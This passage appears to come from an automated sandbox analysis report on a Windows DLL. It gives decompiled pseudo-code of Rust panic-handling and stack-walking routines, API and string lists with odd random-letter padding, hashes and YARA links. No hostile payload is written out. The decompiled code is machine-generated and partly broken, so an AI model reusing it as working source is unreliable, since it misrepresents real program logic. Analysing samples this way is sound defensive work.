														goto L63;
													}
												}
												goto L71;
												L64:
												 *(_t310 + 0x188) =  *_t267( *(_t310 + 0x20),  *(_t310 + 0x78), 0);
												 *(_t310 + 0x5a8) = 3;
												_t243 = E6E7AE890(_t267, _t310 + 0x2c, _t310 + 0x70, _t308, _t310);
												_t308 =  *(_t310 + 0x1c);
												_t267 =  *(_t310 + 0x14);
												__eflags = _t243;
											} while (_t243 != 0);
											goto L47;
										} else {
											 *0x6e7fadf8 = _t221;
											goto L44;
										}
									}
								} else {
									L39:
									_t246 = GetProcAddress( *0x6e7fadd0, "SymGetModuleBase64");
									__eflags = _t246;
									if(__eflags == 0) {
										 *(_t310 + 0x5a8) = 3;
										E6E7C6E20(_t267, "called `Option::unwrap()` on a `None` value", 0x2b, _t308, _t310, __eflags, 0x6e7ee2c0);
										L70:
										asm("ud2");
										_push(_t313);
										return E6E7AE880( *((intOrPtr*)( &_v1456 + 0x58)));
									} else {
										_t267 = _t246;
										 *0x6e7fadec = _t246;
										goto L41;
									}
								}
							}
						} else {
							__eflags =  *((char*)(_t310 + 0xf));
							if( *((char*)(_t310 + 0xf)) != 0) {
								goto L50;
							} else {
								L48:
								__eflags =  *(_t310 + 0xe);
								if( *(_t310 + 0xe) != 0) {
									L55:
									_t229 =  *(_t310 + 0x5c);
									__eflags = _t229;
									if(_t229 != 0) {
										__eflags =  *(_t310 + 0x60);
										if( *(_t310 + 0x60) != 0) {
											HeapFree( *0x6e7fadc8, 0, _t229);
										}
									}
									_t206 = 0;
								} else {
									 *(_t310 + 0x190) = 0x6e7ed63c;
									 *(_t310 + 0x194) = 1;
									 *(_t310 + 0x198) = 0;
									 *((intOrPtr*)(_t310 + 0x1a0)) = 0x6e7ecd60;
									 *(_t310 + 0x1a4) = 0;
									 *(_t310 + 0x5a8) = 2;
									_push(_t310 + 0x190);
									_t233 = E6E7A2320( *((intOrPtr*)(_a8 + 0x18)),  *(_a8 + 0x1c));
									__eflags = _t233;
									if(_t233 == 0) {
										goto L55;
									} else {
										goto L50;
									}
								}
							}
							L54:
							 *[fs:0x0] =  *((intOrPtr*)(_t310 + 0x5a0));
							return _t206;
						}
					}
				}
				L71:
			}

APIs

SetLastError.KERNEL32(00000000), ref: 6E7ADFF2
GetCurrentDirectoryW.KERNEL32(?,?), ref: 6E7ADFFA
GetLastError.KERNEL32 ref: 6E7AE006
GetLastError.KERNEL32 ref: 6E7AE018
GetLastError.KERNEL32 ref: 6E7AE07C
HeapFree.KERNEL32(00000000,00000000), ref: 6E7AE0AD
HeapFree.KERNEL32(00000000,?), ref: 6E7AE0F7
HeapFree.KERNEL32(00000000,?), ref: 6E7AE108
GetCurrentProcess.KERNEL32(?), ref: 6E7AE1E1
GetCurrentThread.KERNEL32 ref: 6E7AE1E9
RtlCaptureContext.KERNEL32(?), ref: 6E7AE209
GetProcAddress.KERNEL32(SymFunctionTableAccess64,?), ref: 6E7AE24A
GetProcAddress.KERNEL32(SymGetModuleBase64), ref: 6E7AE274
GetCurrentProcess.KERNEL32 ref: 6E7AE289
GetProcAddress.KERNEL32(StackWalkEx), ref: 6E7AE2AB
ReleaseMutex.KERNEL32(?), ref: 6E7AE398
HeapFree.KERNEL32(00000000,?), ref: 6E7AE41B
HeapFree.KERNEL32(00000000,?,?), ref: 6E7AE44D
GetProcAddress.KERNEL32(StackWalk64), ref: 6E7AE4F5

Strings

StackWalk64, xrefs: 6E7AE4EA
SymGetModuleBase64, xrefs: 6E7AE269
StackWalkEx, xrefs: 6E7AE2A0
called `Option::unwrap()` on a `None` value, xrefs: 6E7AE57C, 6E7AE59F, 6E7AE5C2
SymFunctionTableAccess64, xrefs: 6E7AE23F

Memory Dump Source

Source File: 00000002.00000002.915222976.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000002.00000002.915220054.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.915238247.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.915257078.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.915260338.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.915263320.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID: FreeHeap$AddressCurrentErrorLastProc$Process$CaptureContextDirectoryMutexReleaseThread
String ID: StackWalk64$StackWalkEx$SymFunctionTableAccess64$SymGetModuleBase64$called `Option::unwrap()` on a `None` value
API String ID: 1381040140-1036201984
Opcode ID: abfc76189d35b9a50df7af2629390820adb37b790881ba90ec50d0bf69be1493
Instruction ID: 8f20499d405eb92ca44477bc031259a3e740e39955c031548244811a4c71e2a4
Opcode Fuzzy Hash: abfc76189d35b9a50df7af2629390820adb37b790881ba90ec50d0bf69be1493
Instruction Fuzzy Hash: C91239B1500B049FE760CFA4DA94B93BBF9FB49708F004A2DD6AA876A0E771B445CF51

Uniqueness

Uniqueness Score: -1.00%

Function 6E7AC8C0, Relevance: 33.7, APIs: 14, Strings: 5, Instructions: 477
memoryCOMMON

Download Yara Rule

C-Code - Quality: 69%

			E6E7AC8C0(long _a4, signed int _a8) {
				void* _v20;
				intOrPtr _v24;
				char _v28;
				intOrPtr _v32;
				void* _v36;
				void* _v40;
				char _v41;
				long _v48;
				long* _v52;
				intOrPtr _v56;
				long _v60;
				void _v64;
				long* _v68;
				long _v72;
				char _v76;
				long* _v80;
				void* _v84;
				char _v88;
				long _v92;
				char* _v96;
				long _v100;
				void* _v104;
				void** _v108;
				void* _v112;
				long _v116;
				void* _v120;
				long _v124;
				char _v128;
				intOrPtr _v132;
				void _v136;
				void* _v140;
				intOrPtr _v144;
				signed int _v148;
				intOrPtr _v152;
				intOrPtr* _t190;
				void* _t194;
				void _t195;
				intOrPtr* _t196;
				signed int _t197;
				signed int _t199;
				char* _t201;
				long _t202;
				long _t203;
				void* _t204;
				void* _t205;
				long _t206;
				void _t209;
				void _t210;
				void* _t219;
				void* _t222;
				long _t226;
				void* _t235;
				void* _t245;
				void* _t247;
				void* _t248;
				char** _t251;
				char** _t252;
				void* _t256;
				void* _t260;
				void _t264;
				char _t265;
				signed char _t267;
				void _t270;
				intOrPtr _t273;
				void* _t275;
				char* _t276;
				void _t277;
				void* _t280;
				intOrPtr _t291;
				intOrPtr _t295;
				void _t298;
				long _t302;
				void* _t307;
				void* _t308;
				void* _t309;
				signed int _t310;
				signed int _t312;
				void* _t318;
				intOrPtr* _t324;
				long _t326;
				void* _t327;
				void* _t330;
				void* _t331;
				void* _t332;
				void* _t333;
				void* _t334;
				void* _t335;
				intOrPtr _t336;
				void* _t347;
				void* _t360;
				long _t361;

				_v32 = _t336;
				_v20 = 0xffffffff;
				_v24 = E6E7B3B50;
				_t264 = _t270;
				_t332 = 1;
				_t330 = _t307;
				_v28 =  *[fs:0x0];
				 *[fs:0x0] =  &_v28;
				asm("lock xadd [0x6e7fadc0], esi");
				_t190 = E6E7AD1B0(_t264, _t330);
				_t337 = _t190;
				if(_t190 == 0) {
					_t190 = E6E7C6EE0(_t264,  &M6E7ED0E7, 0x46, _t337,  &_v68, 0x6e7ed060, 0x6e7ed1ac);
					_t336 = _t336 + 0xc;
					asm("ud2");
				}
				_t308 = _a8;
				_t273 =  *_t190 + 1;
				 *_t190 = _t273;
				if(_t332 < 0 || _t273 >= 3) {
					__eflags = _t273 - 2;
					if(__eflags <= 0) {
						_v124 = 0x6e7ecd60;
						_v120 = 0x6e7ed014;
						_v68 = 0x6e7eda50;
						_v64 = 2;
						_v96 = 0;
						_v100 = 0;
						_v60 = 0;
						_v116 = _a4;
						_v112 = _t308;
						_t309 =  &_v68;
						_v80 =  &_v124;
						_v76 = E6E7A2640;
						_v52 =  &_v80;
						_v48 = 1;
						_t194 = E6E7AD2A0( &_v100, __eflags);
						__eflags = _t194 - 3;
						if(_t194 == 3) {
							_v20 = 0;
							_v36 = _t309;
							 *((intOrPtr*)( *((intOrPtr*)(_t309 + 4))))( *_t309);
							_t336 = _t336 + 4;
							L11:
							_t332 = _v36;
							_t302 =  *(_t332 + 4);
							__eflags =  *(4 + _t302);
							if( *(4 + _t302) != 0) {
								_t256 =  *_t332;
								__eflags =  *((intOrPtr*)(_t302 + 8)) - 9;
								if( *((intOrPtr*)(_t302 + 8)) >= 9) {
									_t256 =  *(_t256 - 4);
								}
								HeapFree( *0x6e7fadc8, 0, _t256);
							}
							_t194 = HeapFree( *0x6e7fadc8, 0, _t332);
						}
						goto L16;
					}
					_t327 =  &_v68;
					_v68 = 0x6e7eda14;
					_v64 = 1;
					_v60 = 0;
					_v52 = 0x6e7ecd60;
					_v120 = 0;
					_v124 = 0;
					_v48 = 0;
					_t194 = E6E7AD2A0( &_v124, __eflags);
					__eflags = _t194 - 3;
					if(_t194 != 3) {
						goto L16;
					} else {
						_v20 = 1;
						_v36 = _t327;
						 *((intOrPtr*)( *((intOrPtr*)(_t327 + 4))))( *_t327);
						_t336 = _t336 + 4;
						goto L11;
					}
				} else {
					_v132 = _t273;
					__imp__AcquireSRWLockShared(0x6e7fadbc);
					_v144 = 0x6e7fadbc;
					_v20 = 2;
					_v136 = _t264;
					_v140 = _t330;
					_t260 =  *((intOrPtr*)(_t330 + 0x10))(_t264);
					_t336 = _t336 + 4;
					_v36 = _t260;
					_v40 = _t308;
					_t194 = E6E7AD1B0(_t264, _t330);
					_t330 = _v40;
					_t340 = _t194;
					if(_t194 != 0) {
						L17:
						__eflags =  *_t194 - 1;
						_t275 = 1;
						if( *_t194 <= 1) {
							_t195 =  *0x6e7fadb0; // 0x0
							_t310 = _a8;
							__eflags = _t195 - 2;
							if(_t195 == 2) {
								_t275 = 0;
								goto L19;
							}
							__eflags = _t195 - 1;
							if(_t195 == 1) {
								_t275 = 4;
								goto L19;
							}
							__eflags = _t195;
							if(_t195 != 0) {
								goto L19;
							}
							E6E7AD530(_t264,  &_v68, _t330, _t332);
							_t330 = _v40;
							_t248 = _v68;
							__eflags = _t248;
							if(_t248 != 0) {
								goto L68;
							}
							_t267 = 5;
							goto L86;
						}
						_t310 = _a8;
						goto L19;
					} else {
						E6E7C6EE0(_t264,  &M6E7ED0E7, 0x46, _t340,  &_v68, 0x6e7ed060, 0x6e7ed1ac);
						_t336 = _t336 + 0xc;
						L61:
						asm("ud2");
						L62:
						_t276 = "Box<dyn Any><unnamed>thread \'\' panicked at \'\', ";
						_t201 = 0xc;
						L21:
						_v100 = _t276;
						_v96 = _t201;
						_t202 =  *0x6e7fa044; // 0x0
						if(_t202 == 0) {
							_t280 = 0x6e7fa044;
							_t202 = E6E7B2B10(_t264, 0x6e7fa044, _t330, _t332);
						}
						_t194 = TlsGetValue(_t202);
						if(_t194 <= 1) {
							L42:
							_t203 =  *0x6e7fa044; // 0x0
							__eflags = _t203;
							if(_t203 == 0) {
								_t280 = 0x6e7fa044;
								_t203 = E6E7B2B10(_t264, 0x6e7fa044, _t330, _t332);
							}
							_t194 = TlsGetValue(_t203);
							__eflags = _t194;
							if(_t194 == 0) {
								_t204 =  *0x6e7fadc8; // 0x680000
								__eflags = _t204;
								if(_t204 != 0) {
									L66:
									_t205 = HeapAlloc(_t204, 0, 0x10);
									__eflags = _t205;
									if(__eflags != 0) {
										 *_t205 = 0;
										 *(_t205 + 0xc) = 0x6e7fa044;
										_t332 = _t205;
										_t206 =  *0x6e7fa044; // 0x0
										__eflags = _t206;
										if(_t206 == 0) {
											_v36 = _t332;
											_t206 = E6E7B2B10(_t264, 0x6e7fa044, _t330, _t332);
											_t332 = _v36;
										}
										_t194 = TlsSetValue(_t206, _t332);
										goto L75;
									}
									L67:
									_t248 = E6E7C6C30(_t264, 0x10, 4, _t330, _t332, __eflags);
									asm("ud2");
									L68:
									_t326 = _v60;
									_t298 = _v64;
									__eflags = _t326 - 4;
									if(_t326 == 4) {
										__eflags =  *_t248 - 0x6c6c7566;
										if( *_t248 != 0x6c6c7566) {
											L83:
											_t332 = 2;
											_t267 = 0;
											__eflags = 0;
											L84:
											__eflags = _t298;
											if(_t298 != 0) {
												HeapFree( *0x6e7fadc8, 0, _t248);
											}
											L86:
											__eflags = _t267 - 5;
											_t310 = _a8;
											_t269 =  !=  ? _t332 : 1;
											_t275 =  !=  ? _t267 & 0x000000ff : 4;
											_t142 =  !=  ? _t332 : 1;
											_t264 =  *0x6e7fadb0;
											 *0x6e7fadb0 =  !=  ? _t332 : 1;
											L19:
											_v148 = _t310;
											_v128 = _t275;
											_t59 = _t330 + 0xc; // 0x6e7b3440
											_t196 =  *_t59;
											_v40 = _t196;
											_t197 =  *_t196(_v36);
											_t336 = _t336 + 4;
											_t312 = _t310 ^ 0x7ef2a91e | _t197 ^ 0xecc7bcf4;
											__eflags = _t312;
											if(__eflags != 0) {
												_t199 = _v40(_v36);
												_t336 = _t336 + 4;
												__eflags = _t312 ^ 0xe43a67d8 | _t199 ^ 0xbae7a625;
												if(__eflags != 0) {
													goto L62;
												}
												_t251 = _v36;
												_t276 =  *_t251;
												_t201 = _t251[2];
												goto L21;
											}
											_t252 = _v36;
											_t276 =  *_t252;
											_t201 = _t252[1];
											goto L21;
										}
										_t267 = 1;
										_t332 = 3;
										goto L84;
									}
									__eflags = _t326 - 1;
									if(_t326 != 1) {
										goto L83;
									}
									__eflags =  *_t248 - 0x30;
									if( *_t248 != 0x30) {
										goto L83;
									}
									_t267 = 4;
									_t332 = 1;
									goto L84;
								}
								_t204 = GetProcessHeap();
								__eflags = _t204;
								if(__eflags == 0) {
									goto L67;
								}
								 *0x6e7fadc8 = _t204;
								goto L66;
							} else {
								_t332 = _t194;
								__eflags = _t194 - 1;
								if(_t194 != 1) {
									L75:
									_t277 =  *(_t332 + 8);
									__eflags =  *_t332;
									_t136 = _t332 + 4; // 0x4
									_t330 = _t136;
									 *_t332 = 1;
									 *(_t332 + 4) = 0;
									 *(_t332 + 8) = 0;
									if(__eflags != 0) {
										__eflags = _t277;
										if(__eflags != 0) {
											asm("lock dec dword [ecx]");
											if(__eflags == 0) {
												_t194 = E6E7AC800(_t277);
											}
										}
									}
									goto L26;
								}
								_v84 = 0;
								_v36 = 0;
								_t210 = 0;
								__eflags = 0;
								goto L47;
							}
						} else {
							_t330 = _t194;
							if( *_t194 != 1) {
								goto L42;
							}
							_t330 = _t330 + 4;
							L26:
							if( *_t330 != 0) {
								E6E7C6EE0(_t264, "already borrowedC:tyampmimkkfvlytcfjjwzprktkelbfiygduxwusohmhocuefyyefupvncdqxnbdzpobcxrxttvayruifzxzewqpnxdhtoqxvhptxvtuswthpfrwnzpmyamwgyjpl", 0x10, __eflags,  &_v68, 0x6e7ed050, 0x6e7ed720);
								_t336 = _t336 + 0xc;
								goto L61;
							}
							 *_t330 = 0xffffffff;
							_t332 =  *(_t330 + 4);
							if(_t332 == 0) {
								_v36 = _t330;
								_v20 = 8;
								_t247 = E6E7AC690(_t264, _t330, _t332);
								_t330 = _v36;
								_t332 = _t247;
								_t194 =  *(_t330 + 4);
								_t347 = _t194;
								if(_t347 != 0) {
									asm("lock dec dword [eax]");
									if(_t347 == 0) {
										_t280 =  *(_t330 + 4);
										_t194 = E6E7AC800(_t280);
									}
								}
								 *(_t330 + 4) = _t332;
							}
							asm("lock inc dword [esi]");
							if(_t347 <= 0) {
								L16:
								asm("ud2");
								asm("ud2");
								goto L17;
							} else {
								 *_t330 =  *_t330 + 1;
								_v84 = _t332;
								_v36 = _t332;
								if(_t332 != 0) {
									_t209 =  *(_t332 + 0x10);
									__eflags = _t209;
									_t280 =  ==  ? _t209 : _t332 + 0x10;
									if(__eflags != 0) {
										L103:
										_t210 =  *_t280;
										_t280 =  *((intOrPtr*)(_t280 + 4)) - 1;
										L104:
										_v20 = 3;
										L47:
										_v124 = 0x6e7ed8fc;
										_v120 = 4;
										_v72 = 0;
										_v88 = 0;
										_v92 = 0;
										_v116 = 0;
										_v20 = 3;
										_t317 =  !=  ? _t210 : "<unnamed>thread \'\' panicked at \'\', ";
										_t212 =  !=  ? _t280 : 9;
										_v80 =  !=  ? _t210 : "<unnamed>thread \'\' panicked at \'\', ";
										_t318 =  &_v124;
										_v76 =  !=  ? _t280 : 9;
										_v68 =  &_v80;
										_v64 = 0x6e7ade50;
										_v60 =  &_v100;
										_v56 = 0x6e7ade50;
										_v52 =  &_v148;
										_v48 = E6E7ADE70;
										_v108 =  &_v68;
										_v104 = 3;
										if(E6E7AD2A0( &_v92, _t210) == 3) {
											_v20 = 7;
											_v40 = _t318;
											 *((intOrPtr*)( *((intOrPtr*)(_t318 + 4))))( *_t318);
											_t336 = _t336 + 4;
											_t335 = _v40;
											_t295 =  *((intOrPtr*)(_t335 + 4));
											if( *((intOrPtr*)(_t295 + 4)) != 0) {
												_t245 =  *_t335;
												if( *((intOrPtr*)(_t295 + 8)) >= 9) {
													_t245 =  *(_t245 - 4);
												}
												HeapFree( *0x6e7fadc8, 0, _t245);
											}
											HeapFree( *0x6e7fadc8, 0, _t335);
										}
										_t265 = _v128;
										_t219 =  <  ? (_t265 + 0x000000fd & 0x000000ff) + 1 : 0;
										if(_t219 == 0) {
											__imp__AcquireSRWLockExclusive(0x6e7fadac);
											_v68 = 0x6e7ed2c0;
											_v64 = 1;
											_v152 = 0x6e7fadac;
											_v41 = _t265;
											_v60 = 0;
											_v20 = 6;
											_v124 =  &_v41;
											_v120 = E6E7ADEE0;
											_v52 =  &_v124;
											_v48 = 1;
											_t222 = E6E7AD2A0( &_v92, __eflags);
											_t333 =  &_v68;
											__imp__ReleaseSRWLockExclusive(0x6e7fadac);
											__eflags = _t222 - 3;
											if(__eflags != 0) {
												goto L94;
											}
											_v20 = 5;
											_v40 = _t333;
											 *((intOrPtr*)( *((intOrPtr*)(_t333 + 4))))( *_t333);
											_t336 = _t336 + 4;
											goto L89;
										} else {
											if(_t219 == 1) {
												L94:
												_t360 = _v36;
												if(_t360 != 0) {
													asm("lock dec dword [eax]");
													if(_t360 == 0) {
														E6E7AC800(_v84);
													}
												}
												_t334 = _v140;
												_t331 = _v136;
												_t361 = _v72;
												if(_t361 != 0) {
													asm("lock dec dword [eax]");
													if(_t361 == 0) {
														E6E7ADC20(_v72);
													}
												}
												__imp__ReleaseSRWLockShared(0x6e7fadbc);
												_t362 = _v132 - 1;
												_v20 = 0xffffffff;
												if(_v132 > 1) {
													_v68 = 0x6e7eda8c;
													_v64 = 1;
													_v60 = 0;
													_v52 = 0x6e7ecd60;
													_v76 = 0;
													_v80 = 0;
													_v48 = 0;
													_t226 = E6E7AD2A0( &_v80, _t362);
													_v120 =  &_v68;
													_v124 = _t226;
													E6E7AD460( &_v124);
													asm("ud2");
													asm("ud2");
												}
												_t280 = _t331;
												E6E7AD440(_t280, _t334, _t362);
												asm("ud2");
												goto L103;
											}
											 *0x6e7fa040 = 0;
											_t356 =  *0x6e7fa040;
											if( *0x6e7fa040 == 0) {
												goto L94;
											}
											_t324 =  &_v68;
											_v68 = 0x6e7ed96c;
											_v64 = 1;
											_v60 = 0;
											_v52 = 0x6e7ecd60;
											_v48 = 0;
											_v20 = 3;
											if(E6E7AD2A0( &_v92, _t356) != 3) {
												goto L94;
											}
											_v40 = _t324;
											_v20 = 4;
											 *((intOrPtr*)( *((intOrPtr*)(_t324 + 4))))( *_t324);
											_t336 = _t336 + 4;
											L89:
											_t291 =  *((intOrPtr*)(_v40 + 4));
											if( *((intOrPtr*)(_t291 + 4)) != 0) {
												_t235 =  *_v40;
												if( *((intOrPtr*)(_t291 + 8)) >= 9) {
													_t235 =  *(_t235 - 4);
												}
												HeapFree( *0x6e7fadc8, 0, _t235);
											}
											HeapFree( *0x6e7fadc8, 0, _v40);
											goto L94;
										}
									}
									_t210 = 0;
									goto L104;
								}
								_t210 = 0;
								goto L47;
							}
						}
					}
				}
			}

APIs

Part of subcall function 6E7AD1B0: TlsGetValue.KERNEL32(00000000,00000001,6E7AC906), ref: 6E7AD1BB
Part of subcall function 6E7AD1B0: TlsGetValue.KERNEL32(00000000), ref: 6E7AD1F3

AcquireSRWLockShared.KERNEL32(6E7FADBC), ref: 6E7AC945
HeapFree.KERNEL32(00000000,00000000), ref: 6E7ACA9C
HeapFree.KERNEL32(00000000,?), ref: 6E7ACAAA
TlsGetValue.KERNEL32(00000000), ref: 6E7ACB0D
TlsGetValue.KERNEL32(00000000), ref: 6E7ACC07
HeapFree.KERNEL32(00000000,00000000), ref: 6E7ACCF1
HeapFree.KERNEL32(00000000,?), ref: 6E7ACCFF
GetProcessHeap.KERNEL32 ref: 6E7ACDD8
HeapAlloc.KERNEL32(00680000,00000000,00000010), ref: 6E7ACDEB
TlsSetValue.KERNEL32(00000000,00000000,00680000,00000000,00000010), ref: 6E7ACE5C
HeapFree.KERNEL32(00000000,00000000,00680000,00000000,00000010), ref: 6E7ACEDD

Strings

Y3{n, xrefs: 6E7AC8C5
cannot access a Thread Local Storage value during or after destructionC:jhdokdvbachceydqtheqlppakhgzijyekeivcljjvbkvyjmwyqejgcsvnqcbhbexvfcyaikjiycwgbjpytkvctpgymeigmgnvityoxcirvtcevutdotfqbgtduf, xrefs: 6E7AC90D, 6E7AC988
already borrowedC:tyampmimkkfvlytcfjjwzprktkelbfiygduxwusohmhocuefyyefupvncdqxnbdzpobcxrxttvayruifzxzewqpnxdhtoqxvhptxvtuswthpfrwnzpmyamwgyjpl, xrefs: 6E7ACDA1
Box<dyn Any><unnamed>thread '' panicked at '', , xrefs: 6E7ACDC0
full, xrefs: 6E7ACEB8

Memory Dump Source

Source File: 00000002.00000002.915222976.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000002.00000002.915220054.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.915238247.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.915257078.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.915260338.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.915263320.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$FreeValue$AcquireAllocLockProcessShared
String ID: Box<dyn Any><unnamed>thread '' panicked at '', $Y3{n$already borrowedC:tyampmimkkfvlytcfjjwzprktkelbfiygduxwusohmhocuefyyefupvncdqxnbdzpobcxrxttvayruifzxzewqpnxdhtoqxvhptxvtuswthpfrwnzpmyamwgyjpl$cannot access a Thread Local Storage value during or after destructionC:jhdokdvbachceydqtheqlppakhgzijyekeivcljjvbkvyjmwyqejgcsvnqcbhbexvfcyaikjiycwgbjpytkvctpgymeigmgnvityoxcirvtcevutdotfqbgtduf$full
API String ID: 2275035175-127267255
Opcode ID: 6a69056e5c209edba839da725b29b17e364e573935862114fd87badb7f88e9e1
Instruction ID: 010c3cf89713f7671d989d48d2089c7a1c5e8f7d8b9e34c80737bdc1749ccf1a
Opcode Fuzzy Hash: 6a69056e5c209edba839da725b29b17e364e573935862114fd87badb7f88e9e1
Instruction Fuzzy Hash: 4A128970A04209EFEB10CFE8CA5479EBBB9FF45305F108629DA15AB3A0D775A941CF84

Uniqueness

Uniqueness Score: -1.00%

Function 6E7AC890, Relevance: 26.7, APIs: 12, Strings: 3, Instructions: 409
memoryCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E6E7AC890(long _a4, signed int _a8) {
				intOrPtr _v4;
				void* _v20;
				void _v28;
				intOrPtr _v32;
				void* _v36;
				void* _v40;
				char _v41;
				long _v48;
				long* _v52;
				intOrPtr _v56;
				long _v60;
				void _v64;
				long* _v68;
				long _v72;
				char _v76;
				long* _v80;
				void* _v84;
				char _v88;
				long _v92;
				char* _v96;
				long _v100;
				void* _v104;
				void** _v108;
				void* _v112;
				long _v116;
				void* _v120;
				long _v124;
				char _v128;
				intOrPtr _v132;
				void _v136;
				void* _v140;
				intOrPtr _v144;
				signed int _v148;
				intOrPtr _v152;
				intOrPtr* _t193;
				void* _t197;
				void _t198;
				intOrPtr* _t199;
				signed int _t200;
				signed int _t202;
				char* _t204;
				long _t205;
				long _t206;
				void* _t207;
				void* _t208;
				long _t209;
				void _t212;
				void _t213;
				void* _t222;
				void* _t225;
				long _t229;
				void* _t238;
				void* _t248;
				void* _t250;
				void* _t251;
				char** _t254;
				char** _t255;
				void* _t259;
				void* _t263;
				void _t268;
				char _t269;
				signed char _t271;
				void* _t274;
				void _t275;
				intOrPtr _t278;
				void* _t280;
				char* _t281;
				void _t282;
				void* _t285;
				intOrPtr _t296;
				intOrPtr _t300;
				void _t303;
				long _t307;
				intOrPtr _t312;
				void* _t314;
				void* _t315;
				signed int _t316;
				signed int _t318;
				void* _t324;
				intOrPtr* _t330;
				long _t332;
				void* _t333;
				void* _t337;
				void* _t338;
				void* _t340;
				void* _t341;
				void* _t342;
				void* _t343;
				void _t346;
				void* _t347;
				void* _t348;
				void* _t359;
				void* _t372;
				long _t373;

				 *_t346 = _t274;
				_v4 = _t312;
				_t275 = _t346;
				_push(_a4);
				_push(0);
				L1();
				_t347 = _t346 + 8;
				asm("ud2");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				_t348 = _t347 - 0x88;
				_v40 = _t348;
				_v28 = 0xffffffff;
				_v32 = E6E7B3B50;
				_t268 = _t275;
				_t340 = 1;
				_t337 = 0x6e7ed9cc;
				_v36 =  *[fs:0x0];
				 *[fs:0x0] =  &_v36;
				asm("lock xadd [0x6e7fadc0], esi");
				_t193 = E6E7AD1B0(_t268, 0x6e7ed9cc);
				_t349 = _t193;
				if(_t193 == 0) {
					_t193 = E6E7C6EE0(_t268,  &M6E7ED0E7, 0x46, _t349,  &_v68, 0x6e7ed060, 0x6e7ed1ac);
					_t348 = _t348 + 0xc;
					asm("ud2");
				}
				_t314 = _a8;
				_t278 =  *_t193 + 1;
				 *_t193 = _t278;
				if(_t340 < 0 || _t278 >= 3) {
					__eflags = _t278 - 2;
					if(__eflags <= 0) {
						_v124 = 0x6e7ecd60;
						_v120 = 0x6e7ed014;
						_v68 = 0x6e7eda50;
						_v64 = 2;
						_v96 = 0;
						_v100 = 0;
						_v60 = 0;
						_v116 = _a4;
						_v112 = _t314;
						_t315 =  &_v68;
						_v80 =  &_v124;
						_v76 = E6E7A2640;
						_v52 =  &_v80;
						_v48 = 1;
						_t197 = E6E7AD2A0( &_v100, __eflags);
						__eflags = _t197 - 3;
						if(_t197 == 3) {
							_v20 = 0;
							_v36 = _t315;
							 *((intOrPtr*)( *((intOrPtr*)(_t315 + 4))))( *_t315);
							_t348 = _t348 + 4;
							L12:
							_t340 = _v36;
							_t307 =  *(_t340 + 4);
							__eflags =  *(4 + _t307);
							if( *(4 + _t307) != 0) {
								HeapFree( *0x6e7fadc8, 0, _t259);
							}
							_t197 = HeapFree( *0x6e7fadc8, 0, _t340);
						}
						goto L17;
					}
					_t333 =  &_v68;
					_v68 = 0x6e7eda14;
					_v64 = 1;
					_v60 = 0;
					_v52 = 0x6e7ecd60;
					_v120 = 0;
					_v124 = 0;
					_v48 = 0;
					_t197 = E6E7AD2A0( &_v124, __eflags);
					__eflags = _t197 - 3;
					if(_t197 != 3) {
						goto L17;
					} else {
						_v20 = 1;
						_v36 = _t333;
						 *((intOrPtr*)( *((intOrPtr*)(_t333 + 4))))( *_t333);
						_t348 = _t348 + 4;
						goto L12;
					}
				} else {
					_v132 = _t278;
					__imp__AcquireSRWLockShared(0x6e7fadbc);
					_v144 = 0x6e7fadbc;
					_v20 = 2;
					_v136 = _t268;
					_v140 = _t337;
					_t263 =  *((intOrPtr*)(_t337 + 0x10))(_t268);
					_t348 = _t348 + 4;
					_v36 = _t263;
					_v40 = _t314;
					_t197 = E6E7AD1B0(_t268, _t337);
					_t337 = _v40;
					_t352 = _t197;
					if(_t197 != 0) {
						L18:
						__eflags =  *_t197 - 1;
						_t280 = 1;
						if( *_t197 <= 1) {
							_t198 =  *0x6e7fadb0; // 0x0
							_t316 = _a8;
							__eflags = _t198 - 2;
							if(_t198 == 2) {
								_t280 = 0;
								goto L20;
							}
							__eflags = _t198 - 1;
							if(_t198 == 1) {
								_t280 = 4;
								goto L20;
							}
							__eflags = _t198;
							if(_t198 != 0) {
								goto L20;
							}
							E6E7AD530(_t268,  &_v68, _t337, _t340);
							_t337 = _v40;
							_t251 = _v68;
							__eflags = _t251;
							if(_t251 != 0) {
								goto L69;
							}
							_t271 = 5;
							goto L87;
						}
						_t316 = _a8;
						goto L20;
					} else {
						E6E7C6EE0(_t268,  &M6E7ED0E7, 0x46, _t352,  &_v68, 0x6e7ed060, 0x6e7ed1ac);
						_t348 = _t348 + 0xc;
						L62:
						asm("ud2");
						L63:
						_t281 = "Box<dyn Any><unnamed>thread \'\' panicked at \'\', ";
						_t204 = 0xc;
						L22:
						_v100 = _t281;
						_v96 = _t204;
						_t205 =  *0x6e7fa044; // 0x0
						if(_t205 == 0) {
							_t285 = 0x6e7fa044;
							_t205 = E6E7B2B10(_t268, 0x6e7fa044, _t337, _t340);
						}
						_t197 = TlsGetValue(_t205);
						if(_t197 <= 1) {
							L43:
							_t206 =  *0x6e7fa044; // 0x0
							__eflags = _t206;
							if(_t206 == 0) {
								_t285 = 0x6e7fa044;
								_t206 = E6E7B2B10(_t268, 0x6e7fa044, _t337, _t340);
							}
							_t197 = TlsGetValue(_t206);
							__eflags = _t197;
							if(_t197 == 0) {
								_t207 =  *0x6e7fadc8; // 0x680000
								__eflags = _t207;
								if(_t207 != 0) {
									L67:
									_t208 = HeapAlloc(_t207, 0, 0x10);
									__eflags = _t208;
									if(__eflags != 0) {
										 *_t208 = 0;
										 *(_t208 + 0xc) = 0x6e7fa044;
										_t340 = _t208;
